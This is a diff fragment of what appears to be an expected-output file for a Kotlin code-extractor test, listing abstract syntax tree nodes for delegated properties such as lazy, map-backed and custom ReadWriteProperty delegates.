+#   87|             5: [BlockStmt] { ... }
+#   87|               0: [ReturnStmt] return ...
+#   87|                 0: [MethodAccess] get(...)
+#   87|                   -1: [ThisAccess] this
+#   87|           1: [Method] set
+#-----|             4: (Parameters)
+#   87|               0: [Parameter] a0
+#   87|             5: [BlockStmt] { ... }
+#   87|               0: [ReturnStmt] return ...
+#   87|                 0: [MethodAccess] setTopLevelInt(...)
+#   87|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   87|                   0: [VarAccess] a0
+#   87|         -3: [TypeAccess] KMutableProperty0<Integer>
+#   87|           0: [TypeAccess] Integer
+#    4|   2: [Class] ClassProp1
+#    4|     1: [Constructor] ClassProp1
+#    4|       5: [BlockStmt] { ... }
+#    4|         0: [SuperConstructorInvocationStmt] super(...)
+#    4|         1: [BlockStmt] { ... }
+#    5|     2: [Method] fn
+#    5|       3: [TypeAccess] Unit
+#    5|       5: [BlockStmt] { ... }
+#    6|         0: [BlockStmt] { ... }
+#    6|           0: [LocalVariableDeclStmt] var ...;
+#    6|             1: [LocalVariableDeclExpr] prop1$delegate
+#    6|               0: [MethodAccess] lazy(...)
+#    6|                 -2: [TypeAccess] Integer
+#    6|                 -1: [TypeAccess] LazyKt
+#    6|                 0: [LambdaExpr] ...->...
+#    6|                   -4: [AnonymousClass] new Function0<Integer>(...) { ... }
+#    6|                     1: [Constructor] 
+#    6|                       5: [BlockStmt] { ... }
+#    6|                         0: [SuperConstructorInvocationStmt] super(...)
+#    6|                     1: [Method] invoke
+#    6|                       3: [TypeAccess] int
+#    7|                       5: [BlockStmt] { ... }
+#    7|                         0: [ExprStmt] <Expr>;
+#    7|                           0: [MethodAccess] println(...)
+#    7|                             -1: [TypeAccess] ConsoleKt
+#    7|                             0: [StringLiteral] init
+#    8|                         1: [ReturnStmt] return ...
+#    8|                           0: [IntegerLiteral] 5
+#    6|                   -3: [TypeAccess] Function0<Integer>
+#    6|                     0: [TypeAccess] Integer
+#    6|           1: [LocalTypeDeclStmt] class ...
+#    6|             0: [LocalClass] 
+#    6|               1: [Constructor] 
+#    6|                 5: [BlockStmt] { ... }
+#    6|                   0: [SuperConstructorInvocationStmt] super(...)
+#    6|               1: [Method] <get-prop1>
+#    6|                 3: [TypeAccess] int
+#    6|                 5: [BlockStmt] { ... }
+#    6|                   0: [ReturnStmt] return ...
+#    6|                     0: [MethodAccess] getValue(...)
+#    6|                       -2: [TypeAccess] Integer
+#    6|                       -1: [TypeAccess] LazyKt
+#    6|                       0: [VarAccess] prop1$delegate
+#    0|                       1: [NullLiteral] null
+#    6|                       2: [PropertyRefExpr] ...::...
+#    6|                         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#    6|                           1: [Constructor] 
+#    6|                             5: [BlockStmt] { ... }
+#    6|                               0: [SuperConstructorInvocationStmt] super(...)
+#    6|                           1: [Method] get
+#    6|                             5: [BlockStmt] { ... }
+#    6|                               0: [ReturnStmt] return ...
+#    6|                                 0: [MethodAccess] <get-prop1>(...)
+#    6|                                   -1: [ClassInstanceExpr] new (...)
+#    6|                                     -3: [TypeAccess] Object
+#    6|                           1: [Method] invoke
+#    6|                             5: [BlockStmt] { ... }
+#    6|                               0: [ReturnStmt] return ...
+#    6|                                 0: [MethodAccess] get(...)
+#    6|                                   -1: [ThisAccess] this
+#    6|                         -3: [TypeAccess] KProperty0<Integer>
+#    6|                           0: [TypeAccess] Integer
+#   10|         1: [ExprStmt] <Expr>;
+#   10|           0: [MethodAccess] println(...)
+#   10|             -1: [TypeAccess] ConsoleKt
+#   10|             0: [MethodAccess] <get-prop1>(...)
+#   10|               -1: [ClassInstanceExpr] new (...)
+#   10|                 -3: [TypeAccess] Object
+#   11|         2: [ExprStmt] <Expr>;
+#   11|           0: [MethodAccess] println(...)
+#   11|             -1: [TypeAccess] ConsoleKt
+#   11|             0: [MethodAccess] <get-prop1>(...)
+#   11|               -1: [ClassInstanceExpr] new (...)
+#   11|                 -3: [TypeAccess] Object
+#   15|   3: [Class] Resource
+#   15|     1: [Constructor] Resource
+#   15|       5: [BlockStmt] { ... }
+#   15|         0: [SuperConstructorInvocationStmt] super(...)
+#   15|         1: [BlockStmt] { ... }
+#   17|   4: [Class] Owner
+#   17|     1: [Constructor] Owner
+#   17|       5: [BlockStmt] { ... }
+#   17|         0: [SuperConstructorInvocationStmt] super(...)
+#   17|         1: [BlockStmt] { ... }
+#   42|           0: [ExprStmt] <Expr>;
+#   42|             0: [KtInitializerAssignExpr] ...=...
+#   42|               0: [VarAccess] varResource0$delegate
+#   18|     2: [Method] fn
+#   18|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   18|         0: [Parameter] map
+#   18|           0: [TypeAccess] Map<String,Object>
+#   18|             0: [TypeAccess] String
+#   18|             1: [TypeAccess] Object
+#   18|       5: [BlockStmt] { ... }
+#   19|         0: [BlockStmt] { ... }
+#   19|           0: [LocalVariableDeclStmt] var ...;
+#   19|             1: [LocalVariableDeclExpr] varResource1$delegate
+#   19|               0: [ClassInstanceExpr] new ResourceDelegate(...)
+#   19|                 -3: [TypeAccess] ResourceDelegate
+#   19|           1: [LocalTypeDeclStmt] class ...
+#   19|             0: [LocalClass] 
+#   19|               1: [Constructor] 
+#   19|                 5: [BlockStmt] { ... }
+#   19|                   0: [SuperConstructorInvocationStmt] super(...)
+#   19|               1: [Method] <get-varResource1>
+#   19|                 3: [TypeAccess] int
+#   19|                 5: [BlockStmt] { ... }
+#   19|                   0: [ReturnStmt] return ...
+#   19|                     0: [MethodAccess] getValue(...)
+#   19|                       -1: [VarAccess] varResource1$delegate
+#    0|                       0: [NullLiteral] null
+#   19|                       1: [PropertyRefExpr] ...::...
+#   19|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   19|                           1: [Constructor] 
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [SuperConstructorInvocationStmt] super(...)
+#   19|                           1: [Method] get
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] <get-varResource1>(...)
+#   19|                                   -1: [ClassInstanceExpr] new (...)
+#   19|                                     -3: [TypeAccess] Object
+#   19|                           1: [Method] invoke
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] get(...)
+#   19|                                   -1: [ThisAccess] this
+#   19|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   19|                               0: [Parameter] a0
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] <set-varResource1>(...)
+#   19|                                   -1: [ClassInstanceExpr] new (...)
+#   19|                                     -3: [TypeAccess] Object
+#   19|                                   0: [VarAccess] a0
+#   19|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   19|                           0: [TypeAccess] Integer
+#   19|           2: [LocalTypeDeclStmt] class ...
+#   19|             0: [LocalClass] 
+#   19|               1: [Constructor] 
+#   19|                 5: [BlockStmt] { ... }
+#   19|                   0: [SuperConstructorInvocationStmt] super(...)
+#   19|               1: [Method] <set-varResource1>
+#   19|                 3: [TypeAccess] Unit
+#-----|                 4: (Parameters)
+#   19|                   0: [Parameter] value
+#   19|                     0: [TypeAccess] int
+#   19|                 5: [BlockStmt] { ... }
+#   19|                   0: [ReturnStmt] return ...
+#   19|                     0: [MethodAccess] setValue(...)
+#   19|                       -1: [VarAccess] varResource1$delegate
+#    0|                       0: [NullLiteral] null
+#   19|                       1: [PropertyRefExpr] ...::...
+#   19|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   19|                           1: [Constructor] 
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [SuperConstructorInvocationStmt] super(...)
+#   19|                           1: [Method] get
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] <get-varResource1>(...)
+#   19|                                   -1: [ClassInstanceExpr] new (...)
+#   19|                                     -3: [TypeAccess] Object
+#   19|                           1: [Method] invoke
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] get(...)
+#   19|                                   -1: [ThisAccess] this
+#   19|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   19|                               0: [Parameter] a0
+#   19|                             5: [BlockStmt] { ... }
+#   19|                               0: [ReturnStmt] return ...
+#   19|                                 0: [MethodAccess] <set-varResource1>(...)
+#   19|                                   -1: [ClassInstanceExpr] new (...)
+#   19|                                     -3: [TypeAccess] Object
+#   19|                                   0: [VarAccess] a0
+#   19|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   19|                           0: [TypeAccess] Integer
+#   19|                       2: [VarAccess] value
+#   20|         1: [ExprStmt] <Expr>;
+#   20|           0: [MethodAccess] println(...)
+#   20|             -1: [TypeAccess] ConsoleKt
+#   20|             0: [MethodAccess] <get-varResource1>(...)
+#   20|               -1: [ClassInstanceExpr] new (...)
+#   20|                 -3: [TypeAccess] Object
+#   21|         2: [ExprStmt] <Expr>;
+#   21|           0: [MethodAccess] <set-varResource1>(...)
+#   21|             -1: [ClassInstanceExpr] new (...)
+#   21|               -3: [TypeAccess] Object
+#   21|             0: [IntegerLiteral] 2
+#   23|         3: [BlockStmt] { ... }
+#   23|           0: [LocalVariableDeclStmt] var ...;
+#   23|             1: [LocalVariableDeclExpr] name$delegate
+#   23|               0: [VarAccess] map
+#   23|           1: [LocalTypeDeclStmt] class ...
+#   23|             0: [LocalClass] 
+#   23|               1: [Constructor] 
+#   23|                 5: [BlockStmt] { ... }
+#   23|                   0: [SuperConstructorInvocationStmt] super(...)
+#   23|               1: [Method] <get-name>
+#   23|                 3: [TypeAccess] String
+#   23|                 5: [BlockStmt] { ... }
+#   23|                   0: [ReturnStmt] return ...
+#   23|                     0: [MethodAccess] getValue(...)
+#   23|                       -3: [TypeAccess] String
+#   23|                       -2: [TypeAccess] Object
+#   23|                       -1: [TypeAccess] MapAccessorsKt
+#   23|                       0: [VarAccess] name$delegate
+#    0|                       1: [NullLiteral] null
+#   23|                       2: [PropertyRefExpr] ...::...
+#   23|                         -4: [AnonymousClass] new KProperty0<String>(...) { ... }
+#   23|                           1: [Constructor] 
+#   23|                             5: [BlockStmt] { ... }
+#   23|                               0: [SuperConstructorInvocationStmt] super(...)
+#   23|                           1: [Method] get
+#   23|                             5: [BlockStmt] { ... }
+#   23|                               0: [ReturnStmt] return ...
+#   23|                                 0: [MethodAccess] <get-name>(...)
+#   23|                                   -1: [ClassInstanceExpr] new (...)
+#   23|                                     -3: [TypeAccess] Object
+#   23|                           1: [Method] invoke
+#   23|                             5: [BlockStmt] { ... }
+#   23|                               0: [ReturnStmt] return ...
+#   23|                                 0: [MethodAccess] get(...)
+#   23|                                   -1: [ThisAccess] this
+#   23|                         -3: [TypeAccess] KProperty0<String>
+#   23|                           0: [TypeAccess] String
+#   25|         4: [LocalTypeDeclStmt] class ...
+#   25|           0: [LocalClass] 
+#   25|             1: [Constructor] 
+#   25|               5: [BlockStmt] { ... }
+#   25|                 0: [SuperConstructorInvocationStmt] super(...)
+#   25|             1: [Method] resourceDelegate
+#   25|               3: [TypeAccess] ReadWriteProperty<Object,Integer>
+#   25|                 0: [TypeAccess] Object
+#   25|                 1: [TypeAccess] Integer
+#   25|               5: [BlockStmt] { ... }
+#   31|                 0: [ReturnStmt] return ...
+#   25|                   0: [StmtExpr] <Stmt>
+#   25|                     0: [BlockStmt] { ... }
+#   25|                       0: [LocalTypeDeclStmt] class ...
+#   25|                         0: [AnonymousClass,LocalClass] new ReadWriteProperty<Object,Integer>(...) { ... }
+#   25|                           1: [Constructor] 
+#   25|                             5: [BlockStmt] { ... }
+#   25|                               0: [SuperConstructorInvocationStmt] super(...)
+#   25|                               1: [BlockStmt] { ... }
+#   26|                                 0: [ExprStmt] <Expr>;
+#   26|                                   0: [KtInitializerAssignExpr] ...=...
+#   26|                                     0: [VarAccess] curValue
+#   26|                           2: [Method] getCurValue
+#   26|                             3: [TypeAccess] int
+#   26|                             5: [BlockStmt] { ... }
+#   26|                               0: [ReturnStmt] return ...
+#   26|                                 0: [VarAccess] this.curValue
+#   26|                                   -1: [ThisAccess] this
+#   26|                           2: [Method] setCurValue
+#   26|                             3: [TypeAccess] Unit
+#-----|                             4: (Parameters)
+#   26|                               0: [Parameter] <set-?>
+#   26|                                 0: [TypeAccess] int
+#   26|                             5: [BlockStmt] { ... }
+#   26|                               0: [ExprStmt] <Expr>;
+#   26|                                 0: [AssignExpr] ...=...
+#   26|                                   0: [VarAccess] this.curValue
+#   26|                                     -1: [ThisAccess] this
+#   26|                                   1: [VarAccess] <set-?>
+#   26|                           2: [FieldDeclaration] int curValue;
+#   26|                             -1: [TypeAccess] int
+#   26|                             0: [IntegerLiteral] 0
+#   27|                           5: [Method] getValue
+#   27|                             3: [TypeAccess] int
+#-----|                             4: (Parameters)
+#   27|                               0: [Parameter] thisRef
+#   27|                                 0: [TypeAccess] Object
+#   27|                               1: [Parameter] property
+#   27|                                 0: [TypeAccess] KProperty<?>
+#   27|                             5: [BlockStmt] { ... }
+#   27|                               0: [ReturnStmt] return ...
+#   27|                                 0: [MethodAccess] getCurValue(...)
+#   27|                                   -1: [ThisAccess] this
+#   28|                           6: [Method] setValue
+#   28|                             3: [TypeAccess] Unit
+#-----|                             4: (Parameters)
+#   28|                               0: [Parameter] thisRef
+#   28|                                 0: [TypeAccess] Object
+#   28|                               1: [Parameter] property
+#   28|                                 0: [TypeAccess] KProperty<?>
+#   28|                               2: [Parameter] value
+#   28|                                 0: [TypeAccess] int
+#   28|                             5: [BlockStmt] { ... }
+#   29|                               0: [ExprStmt] <Expr>;
+#   29|                                 0: [MethodAccess] setCurValue(...)
+#   29|                                   -1: [ThisAccess] this
+#   29|                                   0: [VarAccess] value
+#   25|                       1: [ExprStmt] <Expr>;
+#   25|                         0: [ClassInstanceExpr] new (...)
+#   25|                           -3: [TypeAccess] ReadWriteProperty<Object,Integer>
+#   33|         5: [BlockStmt] { ... }
+#   33|           0: [LocalVariableDeclStmt] var ...;
+#   33|             1: [LocalVariableDeclExpr] readOnly$delegate
+#   33|               0: [MethodAccess] resourceDelegate(...)
+#   33|                 -1: [ClassInstanceExpr] new (...)
+#   33|                   -3: [TypeAccess] Object
+#   33|           1: [LocalTypeDeclStmt] class ...
+#   33|             0: [LocalClass] 
+#   33|               1: [Constructor] 
+#   33|                 5: [BlockStmt] { ... }
+#   33|                   0: [SuperConstructorInvocationStmt] super(...)
+#   33|               1: [Method] <get-readOnly>
+#   33|                 3: [TypeAccess] int
+#   33|                 5: [BlockStmt] { ... }
+#   33|                   0: [ReturnStmt] return ...
+#   33|                     0: [MethodAccess] getValue(...)
+#   33|                       -1: [VarAccess] readOnly$delegate
+#    0|                       0: [NullLiteral] null
+#   33|                       1: [PropertyRefExpr] ...::...
+#   33|                         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   33|                           1: [Constructor] 
+#   33|                             5: [BlockStmt] { ... }
+#   33|                               0: [SuperConstructorInvocationStmt] super(...)
+#   33|                           1: [Method] get
+#   33|                             5: [BlockStmt] { ... }
+#   33|                               0: [ReturnStmt] return ...
+#   33|                                 0: [MethodAccess] <get-readOnly>(...)
+#   33|                                   -1: [ClassInstanceExpr] new (...)
+#   33|                                     -3: [TypeAccess] Object
+#   33|                           1: [Method] invoke
+#   33|                             5: [BlockStmt] { ... }
+#   33|                               0: [ReturnStmt] return ...
+#   33|                                 0: [MethodAccess] get(...)
+#   33|                                   -1: [ThisAccess] this
+#   33|                         -3: [TypeAccess] KProperty0<Integer>
+#   33|                           0: [TypeAccess] Integer
+#   34|         6: [BlockStmt] { ... }
+#   34|           0: [LocalVariableDeclStmt] var ...;
+#   34|             1: [LocalVariableDeclExpr] readWrite$delegate
+#   34|               0: [MethodAccess] resourceDelegate(...)
+#   34|                 -1: [ClassInstanceExpr] new (...)
+#   34|                   -3: [TypeAccess] Object
+#   34|           1: [LocalTypeDeclStmt] class ...
+#   34|             0: [LocalClass] 
+#   34|               1: [Constructor] 
+#   34|                 5: [BlockStmt] { ... }
+#   34|                   0: [SuperConstructorInvocationStmt] super(...)
+#   34|               1: [Method] <get-readWrite>
+#   34|                 3: [TypeAccess] int
+#   34|                 5: [BlockStmt] { ... }
+#   34|                   0: [ReturnStmt] return ...
+#   34|                     0: [MethodAccess] getValue(...)
+#   34|                       -1: [VarAccess] readWrite$delegate
+#    0|                       0: [NullLiteral] null
+#   34|                       1: [PropertyRefExpr] ...::...
+#   34|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   34|                           1: [Constructor] 
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [SuperConstructorInvocationStmt] super(...)
+#   34|                           1: [Method] get
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] <get-readWrite>(...)
+#   34|                                   -1: [ClassInstanceExpr] new (...)
+#   34|                                     -3: [TypeAccess] Object
+#   34|                           1: [Method] invoke
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] get(...)
+#   34|                                   -1: [ThisAccess] this
+#   34|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   34|                               0: [Parameter] a0
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] <set-readWrite>(...)
+#   34|                                   -1: [ClassInstanceExpr] new (...)
+#   34|                                     -3: [TypeAccess] Object
+#   34|                                   0: [VarAccess] a0
+#   34|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   34|                           0: [TypeAccess] Integer
+#   34|           2: [LocalTypeDeclStmt] class ...
+#   34|             0: [LocalClass] 
+#   34|               1: [Constructor] 
+#   34|                 5: [BlockStmt] { ... }
+#   34|                   0: [SuperConstructorInvocationStmt] super(...)
+#   34|               1: [Method] <set-readWrite>
+#   34|                 3: [TypeAccess] Unit
+#-----|                 4: (Parameters)
+#   34|                   0: [Parameter] value
+#   34|                     0: [TypeAccess] int
+#   34|                 5: [BlockStmt] { ... }
+#   34|                   0: [ReturnStmt] return ...
+#   34|                     0: [MethodAccess] setValue(...)
+#   34|                       -1: [VarAccess] readWrite$delegate
+#    0|                       0: [NullLiteral] null
+#   34|                       1: [PropertyRefExpr] ...::...
+#   34|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   34|                           1: [Constructor] 
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [SuperConstructorInvocationStmt] super(...)
+#   34|                           1: [Method] get
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] <get-readWrite>(...)
+#   34|                                   -1: [ClassInstanceExpr] new (...)
+#   34|                                     -3: [TypeAccess] Object
+#   34|                           1: [Method] invoke
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] get(...)
+#   34|                                   -1: [ThisAccess] this
+#   34|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   34|                               0: [Parameter] a0
+#   34|                             5: [BlockStmt] { ... }
+#   34|                               0: [ReturnStmt] return ...
+#   34|                                 0: [MethodAccess] <set-readWrite>(...)
+#   34|                                   -1: [ClassInstanceExpr] new (...)
+#   34|                                     -3: [TypeAccess] Object
+#   34|                                   0: [VarAccess] a0
+#   34|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   34|                           0: [TypeAccess] Integer
+#   34|                       2: [VarAccess] value
+#   36|         7: [ExprStmt] <Expr>;
+#   36|           0: [MethodAccess] println(...)
+#   36|             -1: [TypeAccess] ConsoleKt
+#   36|             0: [MethodAccess] getVarResource0(...)
+#   36|               -1: [ThisAccess] this
+#   37|         8: [ExprStmt] <Expr>;
+#   37|           0: [MethodAccess] setVarResource0(...)
+#   37|             -1: [ThisAccess] this
+#   37|             0: [IntegerLiteral] 3
+#   39|         9: [BlockStmt] { ... }
+#   39|           0: [LocalVariableDeclStmt] var ...;
+#   39|             1: [LocalVariableDeclExpr] varResource2$delegate
+#   39|               0: [MethodAccess] provideDelegate(...)
+#   39|                 -1: [ClassInstanceExpr] new DelegateProvider(...)
+#   39|                   -3: [TypeAccess] DelegateProvider
+#    1|                 0: [NullLiteral] null
+#   39|                 1: [PropertyRefExpr] ...::...
+#   39|                   -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   39|                     1: [Constructor] 
+#   39|                       5: [BlockStmt] { ... }
+#   39|                         0: [SuperConstructorInvocationStmt] super(...)
+#   39|                     1: [Method] get
+#   39|                       5: [BlockStmt] { ... }
+#   39|                         0: [ReturnStmt] return ...
+#   39|                           0: [MethodAccess] <get-varResource2>(...)
+#   39|                             -1: [ClassInstanceExpr] new (...)
+#   39|                               -3: [TypeAccess] Object
+#   39|                     1: [Method] invoke
+#   39|                       5: [BlockStmt] { ... }
+#   39|                         0: [ReturnStmt] return ...
+#   39|                           0: [MethodAccess] get(...)
+#   39|                             -1: [ThisAccess] this
+#   39|                   -3: [TypeAccess] KProperty0<Integer>
+#   39|                     0: [TypeAccess] Integer
+#   39|           1: [LocalTypeDeclStmt] class ...
+#   39|             0: [LocalClass] 
+#   39|               1: [Constructor] 
+#   39|                 5: [BlockStmt] { ... }
+#   39|                   0: [SuperConstructorInvocationStmt] super(...)
+#   39|               1: [Method] <get-varResource2>
+#   39|                 3: [TypeAccess] int
+#   39|                 5: [BlockStmt] { ... }
+#   39|                   0: [ReturnStmt] return ...
+#   39|                     0: [MethodAccess] getValue(...)
+#   39|                       -1: [VarAccess] varResource2$delegate
+#    0|                       0: [NullLiteral] null
+#   39|                       1: [PropertyRefExpr] ...::...
+#   39|                         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   39|                           1: [Constructor] 
+#   39|                             5: [BlockStmt] { ... }
+#   39|                               0: [SuperConstructorInvocationStmt] super(...)
+#   39|                           1: [Method] get
+#   39|                             5: [BlockStmt] { ... }
+#   39|                               0: [ReturnStmt] return ...
+#   39|                                 0: [MethodAccess] <get-varResource2>(...)
+#   39|                                   -1: [ClassInstanceExpr] new (...)
+#   39|                                     -3: [TypeAccess] Object
+#   39|                           1: [Method] invoke
+#   39|                             5: [BlockStmt] { ... }
+#   39|                               0: [ReturnStmt] return ...
+#   39|                                 0: [MethodAccess] get(...)
+#   39|                                   -1: [ThisAccess] this
+#   39|                         -3: [TypeAccess] KProperty0<Integer>
+#   39|                           0: [TypeAccess] Integer
+#   42|     3: [Method] getVarResource0
+#   42|       3: [TypeAccess] int
+#   42|       5: [BlockStmt] { ... }
+#   42|         0: [ReturnStmt] return ...
+#   42|           0: [MethodAccess] getValue(...)
+#   42|             -1: [VarAccess] this.varResource0$delegate
+#   42|               -1: [ThisAccess] this
+#    1|             0: [ThisAccess] this
+#   42|             1: [PropertyRefExpr] ...::...
+#   42|               -4: [AnonymousClass] new KMutableProperty1<Owner,Integer>(...) { ... }
+#   42|                 1: [Constructor] 
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [SuperConstructorInvocationStmt] super(...)
+#   42|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] getVarResource0(...)
+#   42|                         -1: [VarAccess] a0
+#   42|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] get(...)
+#   42|                         -1: [ThisAccess] this
+#   42|                         0: [VarAccess] a0
+#   42|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                     1: [Parameter] a1
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] setVarResource0(...)
+#   42|                         -1: [VarAccess] a0
+#   42|                         0: [VarAccess] a1
+#   42|               -3: [TypeAccess] KMutableProperty1<Owner,Integer>
+#   42|                 0: [TypeAccess] Owner
+#   42|                 1: [TypeAccess] Integer
+#   42|     3: [Method] setVarResource0
+#   42|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   42|         0: [Parameter] <set-?>
+#   42|           0: [TypeAccess] int
+#   42|       5: [BlockStmt] { ... }
+#   42|         0: [ReturnStmt] return ...
+#   42|           0: [MethodAccess] setValue(...)
+#   42|             -1: [VarAccess] this.varResource0$delegate
+#   42|               -1: [ThisAccess] this
+#    1|             0: [ThisAccess] this
+#   42|             1: [PropertyRefExpr] ...::...
+#   42|               -4: [AnonymousClass] new KMutableProperty1<Owner,Integer>(...) { ... }
+#   42|                 1: [Constructor] 
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [SuperConstructorInvocationStmt] super(...)
+#   42|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] getVarResource0(...)
+#   42|                         -1: [VarAccess] a0
+#   42|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] get(...)
+#   42|                         -1: [ThisAccess] this
+#   42|                         0: [VarAccess] a0
+#   42|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                     1: [Parameter] a1
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] setVarResource0(...)
+#   42|                         -1: [VarAccess] a0
+#   42|                         0: [VarAccess] a1
+#   42|               -3: [TypeAccess] KMutableProperty1<Owner,Integer>
+#   42|                 0: [TypeAccess] Owner
+#   42|                 1: [TypeAccess] Integer
+#   42|             2: [VarAccess] <set-?>
+#   42|     3: [FieldDeclaration] ResourceDelegate varResource0$delegate;
+#   42|       -1: [TypeAccess] ResourceDelegate
+#   42|       0: [ClassInstanceExpr] new ResourceDelegate(...)
+#   42|         -3: [TypeAccess] ResourceDelegate
+#   45|   5: [Class] ResourceDelegate
+#   45|     1: [Constructor] ResourceDelegate
+#   45|       5: [BlockStmt] { ... }
+#   45|         0: [SuperConstructorInvocationStmt] super(...)
+#   45|         1: [BlockStmt] { ... }
+#   46|     2: [Method] getValue
+#   46|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   46|         0: [Parameter] thisRef
+#   46|           0: [TypeAccess] Owner
+#   46|         1: [Parameter] property
+#   46|           0: [TypeAccess] KProperty<?>
+#   46|       5: [BlockStmt] { ... }
+#   47|         0: [ReturnStmt] return ...
+#   47|           0: [IntegerLiteral] 1
+#   49|     3: [Method] setValue
+#   49|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   49|         0: [Parameter] thisRef
+#   49|           0: [TypeAccess] Owner
+#   49|         1: [Parameter] property
+#   49|           0: [TypeAccess] KProperty<?>
+#   49|         2: [Parameter] value
+#   49|           0: [TypeAccess] Integer
+#   49|       5: [BlockStmt] { ... }
+#   53|   6: [Class] DelegateProvider
+#   53|     1: [Constructor] DelegateProvider
+#   53|       5: [BlockStmt] { ... }
+#   53|         0: [SuperConstructorInvocationStmt] super(...)
+#   53|         1: [BlockStmt] { ... }
+#   54|     2: [Method] provideDelegate
+#   54|       3: [TypeAccess] ResourceDelegate
+#-----|       4: (Parameters)
+#   54|         0: [Parameter] thisRef
+#   54|           0: [TypeAccess] Owner
+#   54|         1: [Parameter] prop
+#   54|           0: [TypeAccess] KProperty<?>
+#   54|       5: [BlockStmt] { ... }
+#   56|         0: [ReturnStmt] return ...
+#   56|           0: [ClassInstanceExpr] new ResourceDelegate(...)
+#   56|             -3: [TypeAccess] ResourceDelegate
+#   62|   7: [Class] ClassWithDelegate
+#   62|     1: [Constructor] ClassWithDelegate
+#-----|       4: (Parameters)
+#   62|         0: [Parameter] anotherClassInt
+#   62|           0: [TypeAccess] int
+#   62|       5: [BlockStmt] { ... }
+#   62|         0: [SuperConstructorInvocationStmt] super(...)
+#   62|         1: [BlockStmt] { ... }
+#   62|           0: [ExprStmt] <Expr>;
+#   62|             0: [KtInitializerAssignExpr] ...=...
+#   62|               0: [VarAccess] anotherClassInt
+#   62|     2: [Method] getAnotherClassInt
+#   62|       3: [TypeAccess] int
+#   62|       5: [BlockStmt] { ... }
+#   62|         0: [ReturnStmt] return ...
+#   62|           0: [VarAccess] this.anotherClassInt
+#   62|             -1: [ThisAccess] this
+#   62|     2: [FieldDeclaration] int anotherClassInt;
+#   62|       -1: [TypeAccess] int
+#   62|       0: [VarAccess] anotherClassInt
+#   63|   8: [Class] Base
+#   63|     1: [Constructor] Base
+#-----|       4: (Parameters)
+#   63|         0: [Parameter] baseClassInt
+#   63|           0: [TypeAccess] int
+#   63|       5: [BlockStmt] { ... }
+#   63|         0: [SuperConstructorInvocationStmt] super(...)
+#   63|         1: [BlockStmt] { ... }
+#   63|           0: [ExprStmt] <Expr>;
+#   63|             0: [KtInitializerAssignExpr] ...=...
+#   63|               0: [VarAccess] baseClassInt
+#   63|     2: [Method] getBaseClassInt
+#   63|       3: [TypeAccess] int
+#   63|       5: [BlockStmt] { ... }
+#   63|         0: [ReturnStmt] return ...
+#   63|           0: [VarAccess] this.baseClassInt
+#   63|             -1: [ThisAccess] this
